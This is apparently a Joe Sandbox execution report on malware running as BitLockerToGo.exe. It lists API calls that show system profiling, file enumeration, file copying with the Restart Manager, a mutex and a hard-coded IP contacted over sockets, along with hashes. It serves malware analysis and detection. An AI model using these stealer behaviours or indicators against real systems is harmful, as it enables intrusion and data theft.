Instruction Fuzzy Hash: 14F0B7E1C09288E9EB41DBE4C509BCDBFB46B15309F65419AD848A7282E7B8670CD763

Analysis Process: BitLockerToGo.exePID: 356, Parent PID: 4576COMMON

Execution Graph

Execution Coverage:	15.2%
Dynamic/Decrypted Code Coverage:	2.8%
Signature Coverage:	6.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	142

Executed Functions

Function 02EE06D0 Relevance: 82.2, APIs: 43, Strings: 2, Instructions: 3428registrytimeprocessCOMMON

Download Yara Rule

APIs

Part of subcall function 02EE71E0: GetCurrentProcess.KERNEL32(02EE0900), ref: 02EE71EF
Part of subcall function 02EE71E0: IsWow64Process.KERNEL32(00000000), ref: 02EE71F6

Part of subcall function 02E4196B: GetSystemTimeAsFileTime.KERNEL32(02EE0A78,00000000,00000000,?,?,?,02EE0A78,00000000), ref: 02E41980
Part of subcall function 02E4196B: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02E4199F

RegOpenKeyExA.KERNEL32(80000002,?,00000000,?,00000000,?,?), ref: 02EE0D31
RegQueryValueExA.KERNEL32(00000000,?,00000000,00020019,?,00000400), ref: 02EE0DFD
RegCloseKey.ADVAPI32(00000000), ref: 02EE0E32
GetCurrentHwProfileA.ADVAPI32(?), ref: 02EE0FCA
GetModuleHandleExA.KERNEL32(00000004,02EE5FC0,00000000), ref: 02EE14CB
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02EE14E3
RegOpenKeyExA.KERNEL32(80000002,?,00000000,?,?), ref: 02EE1E96
RegQueryValueExA.KERNEL32(?,?,00000000,00020019,?,?), ref: 02EE1F62
RegCloseKey.ADVAPI32(?), ref: 02EE21E1
GetComputerNameA.KERNEL32(?,00000104), ref: 02EE2215
GetUserNameA.ADVAPI32(?,00000104), ref: 02EE23B3
GetDesktopWindow.USER32 ref: 02EE2456
GetWindowRect.USER32(00000000,?), ref: 02EE2464
GetUserDefaultLocaleName.KERNEL32(?,00000200), ref: 02EE25CF
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 02EE2A95
LocalAlloc.KERNEL32(00000040), ref: 02EE2AA7
GetKeyboardLayoutList.USER32(?,00000000), ref: 02EE2AC2
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 02EE2AED
LocalFree.KERNEL32(?), ref: 02EE2CB0
GetLocalTime.KERNEL32(?), ref: 02EE2CC7
GetSystemTime.KERNEL32(?), ref: 02EE2EDD
GetTimeZoneInformation.KERNEL32(?), ref: 02EE2F00
TzSpecificLocalTimeToSystemTime.KERNEL32(?,?,?), ref: 02EE2F25
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,00000000), ref: 02EE333F
RegQueryValueExA.KERNEL32(00000000,?,00000000,00020019,?,00000400), ref: 02EE3491
RegCloseKey.ADVAPI32(00000000), ref: 02EE3542
GetSystemInfo.KERNEL32(?), ref: 02EE356A
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 02EE361D
EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 02EE3731
EnumDisplayDevicesA.USER32(00000000,00000001,?,00000001), ref: 02EE3B14
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02EE3C53
Process32First.KERNEL32(00000000,00000128), ref: 02EE3C6B
Process32Next.KERNEL32(00000000,00000128), ref: 02EE3C81
Process32Next.KERNEL32(00000000,?), ref: 02EE3D53
CloseHandle.KERNEL32(00000000), ref: 02EE3D62
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,?), ref: 02EE40D6
RegEnumKeyExA.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 02EE410D
wsprintfA.USER32 ref: 02EE41F0
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,?), ref: 02EE4213
RegQueryValueExA.KERNEL32(?,?,00000000,000F003F,?,00000400), ref: 02EE4312
RegQueryValueExA.KERNEL32(?,?,00000000,000F003F,?,00000400), ref: 02EE4409
RegCloseKey.ADVAPI32(?), ref: 02EE44E5
RegCloseKey.ADVAPI32(00000000), ref: 02EE4500

Strings

2.0, xrefs: 02EE09C7, 02EE0A58
;Yb., xrefs: 02EE402D

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: Time$Close$OpenQueryValue$LocalNameSystem$EnumProcess32$CurrentDevicesDisplayFileHandleInfoKeyboardLayoutListLocaleModuleNextProcessUserWindow$AllocComputerCreateDefaultDesktopFirstFreeGlobalInformationMemoryProfileRectSnapshotSpecificStatusToolhelp32Unothrow_t@std@@@Wow64Zone__ehfuncinfo$??2@wsprintf
String ID: 2.0$;Yb.
API String ID: 3690012277-3257477556
Opcode ID: 9e7ba45a915bf248d22bcecd4914bc10f91cd3fa75e5998c03b4cbb4e932e45a
Instruction ID: 3e51e67dc8caba23b39241f2133a3fc23b546611b81f8a219f36f803079a4e6f
Opcode Fuzzy Hash: 9e7ba45a915bf248d22bcecd4914bc10f91cd3fa75e5998c03b4cbb4e932e45a
Instruction Fuzzy Hash: 2C93BCB4D0526E8BDB25CF98C981AEEBBB5FF48300F1041A9D949B7350DB345A81CFA5

Function 02E5A6B7 Relevance: 52.7, APIs: 20, Strings: 9, Instructions: 1930
sleepsynchronizationnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32(00000000,00000001,00000000), ref: 02E5A735
GetLastError.KERNEL32 ref: 02E5A74A
Sleep.KERNEL32(00000529), ref: 02E5A76B
Sleep.KERNEL32(0000002F), ref: 02E5A7F2
shutdown.WS2_32(00000002), ref: 02E5A810
closesocket.WS2_32 ref: 02E5A81C
WSACleanup.WS2_32 ref: 02E5A822
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02E5A8E3

Strings

er er y try rtsdh, xrefs: 02E5B249
8.46.123.175, xrefs: 02E5AAFD, 02E5AB3F, 02E5ABB1, 02E5AC33, 02E5AC4F, 02E5AC96
jjj, xrefs: 02E5C62F
jjj, xrefs: 02E5C61E
ret 345 fdhg r, xrefs: 02E5B157
g 56 58y6, xrefs: 02E5C607
tr 656 56 65 8658 658hfty, xrefs: 02E5B509
4, xrefs: 02E5C72C
ntdll.dll, xrefs: 02E5B12B

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: Sleep$CleanupCreateErrorLastMutexUnothrow_t@std@@@__ehfuncinfo$??2@closesocketshutdown
String ID: 4$8.46.123.175$er er y try rtsdh$g 56 58y6$jjj$jjj$ntdll.dll$ret 345 fdhg r$tr 656 56 65 8658 658hfty
API String ID: 2485281039-2903988054
Opcode ID: 2eb2cd606aba018696492d687bc32cb8197c8aebd61dd218b5cd2534311576d3
Instruction ID: b6ac66a611d6e06952c865d06441024af047e430ebaff6101d528dd6cb67e107
Opcode Fuzzy Hash: 2eb2cd606aba018696492d687bc32cb8197c8aebd61dd218b5cd2534311576d3
Instruction Fuzzy Hash: 642313B0D452698BCF24DFA4C994BEEBBB5AF48304F1081E9D509B7381DB345A84CFA5

Function 02E5A102 Relevance: 32.0, APIs: 16, Strings: 2, Instructions: 507
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,Function_000C7B00,00000000,00000000,00000000), ref: 02E5A1EB
FindCloseChangeNotification.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 02E5A1F2
Sleep.KERNEL32(00000001), ref: 02E5A2AE
GetTempPathA.KERNEL32(000000FC,?,00000000,?,?,?,?,?,00000000), ref: 02E5A33A

Part of subcall function 02EE6CA0: GetFileAttributesA.KERNEL32(?,?,00000006,00000005,00000005), ref: 02EE6CFC
Part of subcall function 02EE6CA0: GetLastError.KERNEL32(?,?,00000006,00000005,00000005), ref: 02EE6D07

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,?,00000000,?,?,?,?,?,00000000), ref: 02E5A525
CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,?,00000000,?,?,?,?,?,00000000), ref: 02E5A54B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02E5A565

Strings

jjjh, xrefs: 02E5A1DC
h6rt hrd54, xrefs: 02E5D7FA

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: Create$Directory$AttributesChangeCloseErrorFileFindLastNotificationPathSleepTempThreadUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: h6rt hrd54$jjjh
API String ID: 2868636072-2795310552
Opcode ID: 8daf7616588abce2099d4884b0e061ac252a70a737ef03ecd1650e41beb81c80
Instruction ID: 56d143c5fd2ab0aee0f0d41052dbfd4437f62d53596f026e3411095fe442aa3e
Opcode Fuzzy Hash: 8daf7616588abce2099d4884b0e061ac252a70a737ef03ecd1650e41beb81c80
Instruction Fuzzy Hash: DE22B070D803598FDB14EFA8C894BEDFBB5AF54304F1491A8E8066B381DB716A45CF92

Function 02E90600 Relevance: 27.9, APIs: 13, Strings: 2, Instructions: 1609registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 02E9083B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 02E9086F
RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?,?,?,?,?,?,?,?,?), ref: 02E90895
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,?,?), ref: 02E90A2C
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,?,00000104), ref: 02E90CB3
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,?,00000104), ref: 02E90DA0
RegQueryValueExA.ADVAPI32(?,?,00000000,00000003,?,?), ref: 02E90EE1
RegQueryValueExA.ADVAPI32(?,?,00000000,00000003,?,00000200), ref: 02E90FCB
RegQueryValueExA.ADVAPI32(?,?,00000000,00000003,?,00000200), ref: 02E910B5
RegQueryValueExA.ADVAPI32(?,?,00000000,00000003,?,?), ref: 02E9119F
RegCloseKey.ADVAPI32(?), ref: 02E9229B
RegEnumKeyA.ADVAPI32(?,00000001,?,00000104), ref: 02E922D1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 02E922E5

Part of subcall function 02E351FB: RaiseException.KERNEL32(E06D7363,00000001,00000003,02E1ABA8,?,?,?,02E31D09,02E1ABA8,02F799D8,00000000,02E1ABA8), ref: 02E3525B

Strings

cannot use operator[] with a string argument with , xrefs: 02E9239E, 02E923F3
cannot use push_back() with , xrefs: 02E92345

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: QueryValue$CloseEnumOpen$ExceptionRaise
String ID: cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 2021570681-3306948993
Opcode ID: a829c954668cf59908ffd73a0eeb5ce44ab3b135713d3dad3d68c2410a4f4d7f
Instruction ID: 168f3833930b879e939608d2fb3b49ac6b17723f2a52e68bee892235868332be
Opcode Fuzzy Hash: a829c954668cf59908ffd73a0eeb5ce44ab3b135713d3dad3d68c2410a4f4d7f
Instruction Fuzzy Hash: 1F0300B4D042698BDB25CF28CC84BEDBBB5BF49304F1082EAD549A7241EB716B85CF54

Function 02EE6770 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 334
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(00000000,?,02F894F8,?,?,?,\*.*,00000004), ref: 02EE68E5
SetFileAttributesA.KERNEL32(?,00000080,?,?,02F894F8,?,?), ref: 02EE6A8A
DeleteFileA.KERNEL32(?), ref: 02EE6AA4
FindNextFileA.KERNELBASE(?,00000010), ref: 02EE6AB8
FindClose.KERNEL32(?), ref: 02EE6ACA
GetLastError.KERNEL32 ref: 02EE6AD0
SetFileAttributesA.KERNEL32(?,00000080), ref: 02EE6AED
RemoveDirectoryA.KERNEL32(?), ref: 02EE6B0B
GetLastError.KERNEL32 ref: 02EE6B20
std::_Throw_Cpp_error.LIBCPMT ref: 02EE6BE7
std::_Throw_Cpp_error.LIBCPMT ref: 02EE6BF8

Strings

\*.*, xrefs: 02EE6834

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: File$Find$AttributesCpp_errorErrorLastThrow_std::_$CloseDeleteDirectoryFirstNextRemove
String ID: \*.*
API String ID: 460640838-1173974218
Opcode ID: 1c12b35da6a4b6ff6a4b2b6da56bf7d816198975d8ff48b3c66196066f7a0fa9
Instruction ID: 3608454e8a0ee91ee34a7b3c6fabf128fb2069f20df1ce42d84e706e8883a353
Opcode Fuzzy Hash: 1c12b35da6a4b6ff6a4b2b6da56bf7d816198975d8ff48b3c66196066f7a0fa9
Instruction Fuzzy Hash: 9AD12F70C41248CFDF20CFA8C9587EDBBB5EF61308F20D259E456AB291D7709A89CB51

Function 02E963B0 Relevance: 17.5, APIs: 5, Strings: 4, Instructions: 1775stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 02E96504
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 02E96602
GetPrivateProfileStringA.KERNEL32(?,?,00000000,?,00000104,?), ref: 02E967F5
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02E98078
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 02E9854F

Strings

cannot use operator[] with a string argument with , xrefs: 02E985BE, 02E98670
;Yb., xrefs: 02E974E8
cannot use push_back() with , xrefs: 02E9840C, 02E9860E
Tz}9, xrefs: 02E97260

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: PrivateProfile$FolderNamesPathSectionStringUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: ;Yb.$Tz}9$cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 3203477177-4100205650
Opcode ID: 356d765b743c12bc2affc1ea7f3ddcff0f6aaa05f0a16c3b5b67b59c60af2f7f
Instruction ID: 9627beec4c8fd692ae0c8523d77e4a4c7bf7931a65afe06a1421ebc751e59593
Opcode Fuzzy Hash: 356d765b743c12bc2affc1ea7f3ddcff0f6aaa05f0a16c3b5b67b59c60af2f7f
Instruction Fuzzy Hash: A62300B0D052688BDB25CF28C894BEDBBB5BF49304F1082DAD449A7291EB746BC4CF55

Function 02EB84D0 Relevance: 17.0, APIs: 1, Strings: 6, Instructions: 4759COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?,?), ref: 02EB8639

Part of subcall function 02EC6000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 02EC613F

Strings

cannot use operator[] with a string argument with , xrefs: 02EBDF6D, 02EBE0D4, 02EBE129, 02EBE17E, 02EBE1D9, 02EBE22E, 02EBE283, 02EBE2D8, 02EBE32D, 02EBE382
;Yb., xrefs: 02EBAF18
;Yb., xrefs: 02EBCCC8
WUa5, xrefs: 02EBAC90
cannot use push_back() with , xrefs: 02EBDFC9, 02EBE020, 02EBE074
Jzv", xrefs: 02EBCB48

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID: ;Yb.$;Yb.$Jzv"$WUa5$cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 2195519125-2418805891
Opcode ID: ad9bcc9639ee087f6cb86753d190b14e460cd3dbd784d277d49c8f6aa30ab4bd
Instruction ID: 983d74ff11ef8f926640786dd55e968c09444489e07d65b887bd03574f760d35
Opcode Fuzzy Hash: ad9bcc9639ee087f6cb86753d190b14e460cd3dbd784d277d49c8f6aa30ab4bd
Instruction Fuzzy Hash: EDC312B4D052698BDB25CF68C980BEEBBB1BF49304F1082D9D849A7241DB746F85CF91

Function 02E986B0 Relevance: 16.1, APIs: 4, Strings: 4, Instructions: 2129stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 02E98804
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 02E98902
GetPrivateProfileStringA.KERNEL32(?,?,00000000,?,00000104,?), ref: 02E98AF8
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 02E9AE11

Strings

cannot use operator[] with a string argument with , xrefs: 02E9AE83, 02E9AF19
;Yb., xrefs: 02E9968E
AN|5, xrefs: 02E99560
cannot use push_back() with , xrefs: 02E9AD31, 02E9AEBA

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: PrivateProfile$FolderNamesPathSectionStringlstrlen
String ID: ;Yb.$AN|5$cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 1311570089-1903585501
Opcode ID: 4e99b4206c730555d127afe304ecf1c9b384757425b4b8a2e078e26fc30ce812
Instruction ID: 2985c3264940145d2d724138cc6f4aa5a844e839aec0d4d311ece44efbafd916
Opcode Fuzzy Hash: 4e99b4206c730555d127afe304ecf1c9b384757425b4b8a2e078e26fc30ce812
Instruction Fuzzy Hash: 514323B0D052688BDB25CF28C894BEDBBB5BF49304F1082EAD449A7281DB756BC5CF51

Function 02EC00A0 Relevance: 6.9, APIs: 1, Strings: 2, Instructions: 1687COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?,?), ref: 02EC01FF

Part of subcall function 02EC6000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 02EC613F

Strings

cannot use operator[] with a string argument with , xrefs: 02EC1DEA, 02EC1E28, 02EC1EDD
cannot use push_back() with , xrefs: 02EC1CD9, 02EC1E80

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID: cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 2195519125-3306948993
Opcode ID: 048b6fba05a1cd97839c3f368db7cc1e8a4fa43793894541fba3cf5f59e919bf
Instruction ID: f4f8ae236593f4d1a97e996266c9ca2aa900af379c157e7d1a6248b98f62a593
Opcode Fuzzy Hash: 048b6fba05a1cd97839c3f368db7cc1e8a4fa43793894541fba3cf5f59e919bf
Instruction Fuzzy Hash: A01333B0D042688BDB25CF68C994BEDBBB5BF49304F2082DDD449AB281DB746B85CF51

Function 02EBE3C0 Relevance: 6.8, APIs: 1, Strings: 2, Instructions: 1598COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?,?), ref: 02EBE5C3

Part of subcall function 02EC6000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 02EC613F

Strings

cannot use operator[] with a string argument with , xrefs: 02EBFF65, 02EBFFA3, 02EC0058
cannot use push_back() with , xrefs: 02EBFE23, 02EBFFFB

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID: cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 2195519125-3306948993
Opcode ID: 317e398e09c1b598cba95a1715f938a0dafb08e70f80fe6a7065ba91ee962d43
Instruction ID: 5655d43c40088ecef6ec4fa8fcdc8350a3d9e823fe57db0870068e28ce734e51
Opcode Fuzzy Hash: 317e398e09c1b598cba95a1715f938a0dafb08e70f80fe6a7065ba91ee962d43
Instruction Fuzzy Hash: 830342B0D042688BDB25CF68C994BEEBBB5BF09304F1482D9E449B7281DB706B85CF51

Function 02EC6000 Relevance: 6.3, APIs: 4, Instructions: 310fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 02EC613F
FindNextFileA.KERNEL32(00000000,00000010), ref: 02EC643F
GetLastError.KERNEL32 ref: 02EC644D
FindClose.KERNEL32(00000000), ref: 02EC645D

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: Find$File$CloseErrorFirstLastNext
String ID:
API String ID: 819619735-0
Opcode ID: 07b53bd5d4de68d6683988ba2eb3d20aedce8643eb04ea446204a400eae3422f
Instruction ID: 3b7724b4ed3b7dfb1cacb5bd3dadf78fefff34172b74592ae46d1dbc08d3ea03
Opcode Fuzzy Hash: 07b53bd5d4de68d6683988ba2eb3d20aedce8643eb04ea446204a400eae3422f
Instruction Fuzzy Hash: CFD157B0C003588BDB24CF98CA947EEBBB5BF49318F24829DD449AB282D7745A85CB51

Function 02EAA200 Relevance: 4.3, APIs: 1, Instructions: 2846COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?,00000000), ref: 02EAA277

Part of subcall function 02EC6000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 02EC613F

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID:
API String ID: 2195519125-0
Opcode ID: d3c5e6619124f9cb10218a15aebee7064ddbbd4d4b7b8745fb50ac8e052d41f8
Instruction ID: 27c857b7db8f8ab3a7c8d568b36f79ca12551d35af264c9550fe1a6994ba2e7e
Opcode Fuzzy Hash: d3c5e6619124f9cb10218a15aebee7064ddbbd4d4b7b8745fb50ac8e052d41f8
Instruction Fuzzy Hash: AB7302B0C052698BDB25CF68C994BEDBBB5BF49304F1082DAD849A7281DB346F84CF55

Function 02E5E140 Relevance: 17.4, APIs: 11, Instructions: 889
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02E0B8E0: CreateDirectoryA.KERNEL32(?,00000000), ref: 02E0BA08

CreateDirectoryA.KERNEL32(?,00000000), ref: 02E5E242
CreateDirectoryA.KERNEL32(?,00000000,?,-0000004C), ref: 02E5E3D3
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,?,-0000004C), ref: 02E5E4C6
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,-0000004C), ref: 02E5E5BC
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,-0000004C), ref: 02E5E808
CreateDirectoryA.KERNEL32(?,00000000), ref: 02E5E986
CreateDirectoryA.KERNEL32(?,00000000,?,-0000004C), ref: 02E5EB1D
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,?,-0000004C), ref: 02E5EC10

Part of subcall function 02EE6CA0: GetFileAttributesA.KERNEL32(?,?,00000006,00000005,00000005), ref: 02EE6CFC
Part of subcall function 02EE6CA0: GetLastError.KERNEL32(?,?,00000006,00000005,00000005), ref: 02EE6D07

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,-0000004C), ref: 02E5ED06

Part of subcall function 02EE6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 02EE6D4F
Part of subcall function 02EE6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 02EE6D60

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,?,-0000004C), ref: 02E5EDED
CreateDirectoryA.KERNEL32(?,00000000,?,00000000,?,?,?,-0000004C), ref: 02E5F06D

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: CreateDirectory$Cpp_errorThrow_std::_$AttributesErrorFileLast
String ID:
API String ID: 453214671-0
Opcode ID: a77c997f338a01074d1fd5d3957dd50fe1749a30e4e893624050d758d6e7f519
Instruction ID: 13fef063dfcfd028facd72679d655716c8bb8e35f6a6a1ab9f41debc484d2229
Opcode Fuzzy Hash: a77c997f338a01074d1fd5d3957dd50fe1749a30e4e893624050d758d6e7f519
Instruction Fuzzy Hash: 4CA222B0D412A88BCF25DB64CD94BEDBBB5AF15304F0481EAD44AA7281EB345F88CF55

Function 02EE4720 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 291registryCOMMON

Download Yara Rule

APIs

RegGetValueA.KERNEL32(80000002,?,?,0001FFFF,00000001,?,00000104,?,?,?), ref: 02EE4A70
GetComputerNameExA.KERNEL32(00000002,?,00000104,?,?,?,?,?,?), ref: 02EE4ADC
LsaOpenPolicy.ADVAPI32(00000000,02F87684,00000001,?), ref: 02EE4B35
LsaQueryInformationPolicy.ADVAPI32(?,0000000C,?), ref: 02EE4B48
LsaFreeMemory.ADVAPI32(?), ref: 02EE4B76
LsaClose.ADVAPI32(?), ref: 02EE4B7F

Strings

;Yb., xrefs: 02EE49C7
%wZ, xrefs: 02EE4B65

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: Policy$CloseComputerFreeInformationMemoryNameOpenQueryValue
String ID: %wZ$;Yb.
API String ID: 762890658-2876608990
Opcode ID: 19d86a8948f5778dcf4eaca39daf0af16d7e015b7645ca5181d9b801fbcc071a
Instruction ID: e1cf9e4208f374b5f225ccd010fb866e40f16ccfa459f8869c415b32bd69e645
Opcode Fuzzy Hash: 19d86a8948f5778dcf4eaca39daf0af16d7e015b7645ca5181d9b801fbcc071a
Instruction Fuzzy Hash: D5E1FFB4D0425A8BDB14CF98D985BEEBBB4FF08304F2041A9EA49B7340D7705A85CFA5

Function 02ED6790 Relevance: 4.8, APIs: 3, Instructions: 278fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?,00000000), ref: 02ED6A20

Part of subcall function 02ED6BA0: GetLastError.KERNEL32(?,00000000), ref: 02ED6BD3
Part of subcall function 02ED6BA0: RmStartSession.RSTRTMGR(?,00000000,?), ref: 02ED6C50
Part of subcall function 02ED6BA0: RmRegisterResources.RSTRTMGR(?,00000001,?,00000000,00000000,00000000,00000000,?), ref: 02ED6C91
Part of subcall function 02ED6BA0: RmGetList.RSTRTMGR(?,00000000,?,?,?), ref: 02ED6CB9

std::_Throw_Cpp_error.LIBCPMT ref: 02ED6B84
std::_Throw_Cpp_error.LIBCPMT ref: 02ED6B95

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CopyErrorFileLastListRegisterResourcesSessionStart
String ID:
API String ID: 663416093-0
Opcode ID: f595ca2a6b80199d74690030b696047e6d4fdd36a8f3f56ffab84c8f1eeb8ba2
Instruction ID: 5881bfd62482dc26ab240914fbb9cec0b73913273d15cfb34be5d3f40087f6a2
Opcode Fuzzy Hash: f595ca2a6b80199d74690030b696047e6d4fdd36a8f3f56ffab84c8f1eeb8ba2
Instruction Fuzzy Hash: 25D189B0C00249CBDB04DFA8C9557EEFBB5AF55304F248299D90577381EB745A86CFA2

Function 02E14630 Relevance: 3.2, APIs: 2, Instructions: 185COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 02E147CB
__fread_nolock.LIBCMT ref: 02E147ED

Memory Dump Source

Source File: 00000003.00000002.4555150527.0000000002E00000.00000040.00000400.00020000.00000000.sdmp, Offset: 02E00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2e00000_BitLockerToGo.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 1cc4625157e06482bc7892c183cc23a861961514b381114f5fae70cf94b68db2
